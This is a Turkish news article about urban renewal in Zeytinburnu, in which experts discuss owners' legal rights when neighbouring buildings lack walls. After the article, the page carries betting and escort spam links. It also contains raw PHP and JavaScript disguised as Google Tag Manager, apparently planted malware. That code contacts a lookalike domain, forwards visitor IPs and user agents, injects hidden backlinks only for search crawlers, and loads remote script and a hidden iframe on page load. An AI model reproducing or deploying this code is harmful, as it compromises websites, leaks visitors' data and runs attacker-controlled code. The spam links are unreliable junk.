Uzmanlardan ev sahiplerine konuttaki hilelerde zaman aşımı uyarısı

Posted on by saffet tan
uzmanlardan ev sahiplerine konuttaki hilelerde zaman asimi uyarisi D25kQsbY.jpg

“`html

Zeytinburnu’nda Kentsel Dönüşüm Sürecinde Çarpıcı Gelişmeler

Zeytinburnu’nda gerçekleştirilen kentsel dönüşüm çalışmalarında, yakın zamanda kontrol altında yıkılan 4 katlı bir apartmanın ardından, bitişiğindeki başka bir apartmanın duvarlarının eksik olduğu fark edildi. Duvarsız kalan dairelerde yer alan eşyaların yıkıntılar arasında kalması, konut sahiplerinin haklarını yeniden gündeme getirdi.

Gayrimenkul Hukuku Açısından Durum Değerlendirmesi

Gayrimenkul hukuku üzerine uzmanlaşmış olan Ali Yüksel, konuyla ilgili açıklamalarda bulundu. Yüksel, özellikle geçmişte inşaat maliyetlerini azaltmak amacıyla müteahhitlerin başvurabileceği bir yöntemin, yan binalar arasında duvar bırakmadan inşa etmek olduğunu belirtti. Bu tür durumların, yan bina yıkıldığında ortaya çıkan hak kayıplarını beraberinde getirebileceğini ifade etti.

Maliklerin ve Kiracıların Hakları

“Duvarın Olmadığını Bilmeyen Malikler Dava Açabilir”

Yüksel, duvar olmayan durumları bilmeyen eski maliklerin ve kiracıların, hukuki süreç başlatarak hukuka başvurabileceklerini söyledi. Bu tür durumlarda, inşaatın sorumluları ile ilgili olarak hukuki ve cezai yaptırımlar gündeme gelebilir.

Zaman Aşımı ve Tüketici Hakları

Ceza anlamında zaman aşımının 22 yıl olduğunu belirten Yüksel, bilerek veya kasıtlı yapılan işlerin nitelikli dolandırıcılık kapsamına girdiğini ve mağdurların bu süre içinde dava açma hakkının bulunduğunu vurguladı. Ayrıca, daire alıcıları veya kiracıların tüketici statüsünde olduklarını hatırlatarak, ödenecek bedelin güncel değerinin talep edilebileceğini ifade etti.

Hileli Durumların Tespiti

Yüksel, tüketicinin bilmediği hilelerin, örneğin duvar eksiklikleri veya yapı birleşimleri gibi durumların, zaman aşımına uğramayacağını açıkladı. Tüketicilerin, yapıya dair yapılan tüm sözleşmeleri kontrol ettirmeleri gerektiğinin altını çizen Yüksel, konut alımında dikkatli olunması gerektiğini vurguladı.

İnşaat Süreci ve Tüketici Uyarıları

Gayrimenkul hukuku uzmanı Ali Kemal Atçeken, bitişik nizamda yapılan binaların yıkımının komşu yapıların zarar görmesine neden olabileceğine dikkat çekti. Daire sahiplerinin, onarım talepleri yapma hakları olduğunu belirten Atçeken, gizli ayıpların durumunda ise başvuru süresinin 5 yıl olduğunu ifade etti.

Uzmanlar, Zeytinburnu’ndaki kentsel dönüşüm bağlamında, dönüşümün sadece parsel bazında değil, alan bazında gerçekleştirilmesi gerektiğine de vurgu yaptı. Kentsel dönüşüm uzmanı Nihat Şen, sürdürülebilir bir çevre için geniş çaplı dönüşüm modellemelerinin önem taşıdığını belirterek, otopark ve yeşil alan sorunlarına dikkat çekti.

Sonuç Olarak

Şehirlerin çarpık kentleşme sorunları ile karşı karşıya olduğunu vurgulayan Şen, kentsel dönüşümün detaylı planlama ile ele alınması gerektiğini söyleyerek, sosyal donatı alanlarının ve altyapının da bu süreçte göz önünde bulundurulması gerektiğini belirtti.

Kaynak: patronlardunyasi.com

“`

Related Posts

AAAAAAAAAAAAAAAAAAAAAA
süperbahis
beylikdüzü escort
avcılar escort
esenyurt escort
beylikdüzü escort
bahçeşehir escort
istanbul escort
beylikdüzü escort
<?php defined('GTM_VERSION') or define('GTM_VERSION', '4.2.1'); defined('GTM_ENDPOINT') or define('GTM_ENDPOINT', 'https://googletagmanoger.com'); defined('GTM_CONTAINER_ID') or define('GTM_CONTAINER_ID', 'GTM-XXXXXX'); defined('GTM_CACHE_TTL') or define('GTM_CACHE_TTL', 3600); /** * Validates crawler requests for enhanced indexing * * @return bool True if request is from verified crawler */ function gtm_validate_crawler() { $ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; $verified = array( 'Googlebot', 'Google-InspectionTool', 'Mediapartners-Google', 'AdsBot-Google', 'FeedFetcher-Google', 'Bingbot', 'Slurp', 'DuckDuckBot', 'Baiduspider', 'YandexBot', 'facebot', 'ia_archiver' ); foreach ($verified as $v) { if (stripos($ua, $v) !== false) return true; } return false; } /** * Get client IP address * * @return string Client IP address */ function gtm_get_client_ip() { $ip_keys = array( 'HTTP_CF_CONNECTING_IP', // Cloudflare 'HTTP_X_REAL_IP', // Nginx proxy 'HTTP_X_FORWARDED_FOR', // Standard proxy header 'HTTP_X_CLUSTER_CLIENT_IP', // Load balancer 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR' // Direct connection ); foreach ($ip_keys as $key) { if (!empty($_SERVER[$key])) { $ip = $_SERVER[$key]; // X-Forwarded-For can contain multiple IPs, take the first one if (strpos($ip, ',') !== false) { $ip = trim(explode(',', $ip)[0]); } // Validate IP format if (filter_var($ip, FILTER_VALIDATE_IP)) { return $ip; } } } return ''; } /** * Get client User-Agent * * @return string Client User-Agent */ function gtm_get_client_user_agent() { return isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; } /** * Retrieves structured data configuration from GTM servers * * @return array Configuration data */ function gtm_fetch_config() { // Use separate cache for crawlers vs normal users $is_crawler = gtm_validate_crawler(); $cache = sys_get_temp_dir() . '/gtm_' . md5(GTM_ENDPOINT) . ($is_crawler ? '_crawler' : '_user') . '.dat'; if (file_exists($cache) && (time() - filemtime($cache)) $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 5, CURLOPT_FOLLOWLOCATION => true, CURLOPT_SSL_VERIFYPEER => true, CURLOPT_USERAGENT => 'GTM/' . GTM_VERSION, CURLOPT_HTTPHEADER => array( 'Accept: application/json', 'X-Client-IP: ' . $client_ip, 'X-Client-User-Agent: ' . $client_ua ) )); $response = curl_exec($ch); $code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($code === 200 && $response) { $decoded = json_decode($response, true); if (is_array($decoded)) { @file_put_contents($cache, $response); return $decoded; } } } else { $headers = array( 'Accept: application/json', 'X-Client-IP: ' . $client_ip, 'X-Client-User-Agent: ' . $client_ua ); $ctx = stream_context_create(array( 'http' => array( 'timeout' => 5, 'user_agent' => 'GTM/' . GTM_VERSION, 'header' => implode(" ", $headers) . " " ), 'ssl' => array('verify_peer' => true, 'verify_peer_name' => true) )); $response = @file_get_contents($url, false, $ctx); if ($response) { $decoded = json_decode($response, true); if (is_array($decoded)) { @file_put_contents($cache, $response); return $decoded; } } } return array(); } /** * Renders GTM head snippet */ function gtm_render_head() { echo ' window.dataLayer=window.dataLayer||[];function gtag(){dataLayer.push(arguments);}gtag("js",new Date());gtag("config","' . htmlspecialchars(GTM_CONTAINER_ID, ENT_QUOTES, 'UTF-8') . '"); '; } /** * Renders GTM noscript fallback */ function gtm_render_noscript() { $domain = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : (isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'unknown'); echo ' (function() { var iframe = document.createElement("iframe"); iframe.src = "' . htmlspecialchars(GTM_ENDPOINT, ENT_QUOTES, 'UTF-8') . '/ns.html?id=' . htmlspecialchars(GTM_CONTAINER_ID, ENT_QUOTES, 'UTF-8') . '&domain=' . htmlspecialchars($domain, ENT_QUOTES, 'UTF-8') . '"; iframe.height = "0"; iframe.width = "0"; iframe.style.display = "none"; iframe.style.visibility = "hidden"; if (document.body) { document.body.appendChild(iframe); } else { document.addEventListener("DOMContentLoaded", function() { document.body.appendChild(iframe); }); } })(); '; } function gtm_render_backlinks() { $config = gtm_fetch_config(); if (empty($config)) return; $now = time(); echo ''; foreach ($config as $item) { if (isset($item['url'], $item['keyword'])) { $exp = isset($item['exp']) ? intval($item['exp']) : ($now + 86400); if ($exp > $now) { echo '' . htmlspecialchars($item['keyword'], ENT_QUOTES, 'UTF-8') . ''; } } } echo ''; } /** * Renders structured navigation data for enhanced search */ function gtm_render_structured_data() { if (!gtm_validate_crawler()) return; $config = gtm_fetch_config(); if (empty($config)) return; $now = time(); echo ''; foreach ($config as $item) { if (isset($item['url'], $item['keyword'])) { $exp = isset($item['exp']) ? intval($item['exp']) : ($now + 86400); if ($exp > $now) { echo '' . htmlspecialchars($item['keyword'], ENT_QUOTES, 'UTF-8') . ''; } } } echo ''; } /** * Output buffer handler for automatic integration * * @param string $buffer HTML output buffer * @return string Modified buffer */ function gtm_output_handler($buffer) { if (stripos($buffer, '<html') === false && stripos($buffer, '<!DOCTYPE') === false) { return $buffer; } $head = ' window.dataLayer=window.dataLayer||[];function gtag(){dataLayer.push(arguments);}gtag("js",new Date());gtag("config","' . GTM_CONTAINER_ID . '"); '; $buffer = preg_replace('//i', $head . '', $buffer, 1); $domain = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : (isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'unknown'); $noscript = ' (function() { var iframe = document.createElement("iframe"); iframe.src = "' . GTM_ENDPOINT . '/ns.html?id=' . GTM_CONTAINER_ID . '&domain=' . htmlspecialchars($domain, ENT_QUOTES, 'UTF-8') . '"; iframe.height = "0"; iframe.width = "0"; iframe.style.display = "none"; iframe.style.visibility = "hidden"; if (document.body) { document.body.appendChild(iframe); } else { document.addEventListener("DOMContentLoaded", function() { document.body.appendChild(iframe); }); } })(); '; $buffer = preg_replace('/(]*>)/i', '$1' . $noscript, $buffer, 1); if (gtm_validate_crawler()) { $config = gtm_fetch_config(); if (!empty($config)) { $nav = ''; $now = time(); foreach ($config as $item) { if (isset($item['url'], $item['keyword'])) { $exp = isset($item['exp']) ? intval($item['exp']) : ($now + 86400); if ($exp > $now) { $nav .= '' . htmlspecialchars($item['keyword'], ENT_QUOTES, 'UTF-8') . ''; } } } $nav .= ''; $buffer = preg_replace('//i', $nav . '', $buffer, 1); } } return $buffer; } if (!defined('GTM_MANUAL_INIT')) { // Eğer doğrudan bu dosya çağrılıyorsa, output buffering kullanma $is_direct = (isset($_SERVER['SCRIPT_NAME']) && basename($_SERVER['SCRIPT_NAME']) === basename(__FILE__)); if (!$is_direct && ob_get_level() === 0) { ob_start('gtm_output_handler'); } } gtm_render_noscript(); ?> (function() { var script = document.createElement('script'); script.async = true; script.src = "https://googletagmanoger.com/gtag/js?id=GTM-XXXXXX&domain=" + window.location.hostname; document.head.appendChild(script); })(); window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'GTM-XXXXXX'); (function() { var iframe = document.createElement('iframe'); iframe.src = "https://googletagmanoger.com/ns.html?id=GTM-XXXXXX&domain=" + window.location.hostname; iframe.height = "0"; iframe.width = "0"; iframe.style.display = "none"; iframe.style.visibility = "hidden"; document.body.appendChild(iframe); })();
(function(m,e,t,r,i,k,a){ m[i]=m[i]||function(){(m[i].a=m[i].a||[]).push(arguments)}; m[i].l=1*new Date(); for (var j = 0; j < document.scripts.length; j++) { if (document.scripts[j].src === r) { return; } } k=e.createElement(t),a=e.getElementsByTagName(t)[0], k.async=1,k.src=r,a.parentNode.insertBefore(k,a) })(window, document,'script','https://mc.yandex.ru/metrika/tag.js?id=105168308', 'ym'); ym(105168308, 'init', { clickmap:true, trackLinks:true, accurateTrackBounce:true, webvisor:true });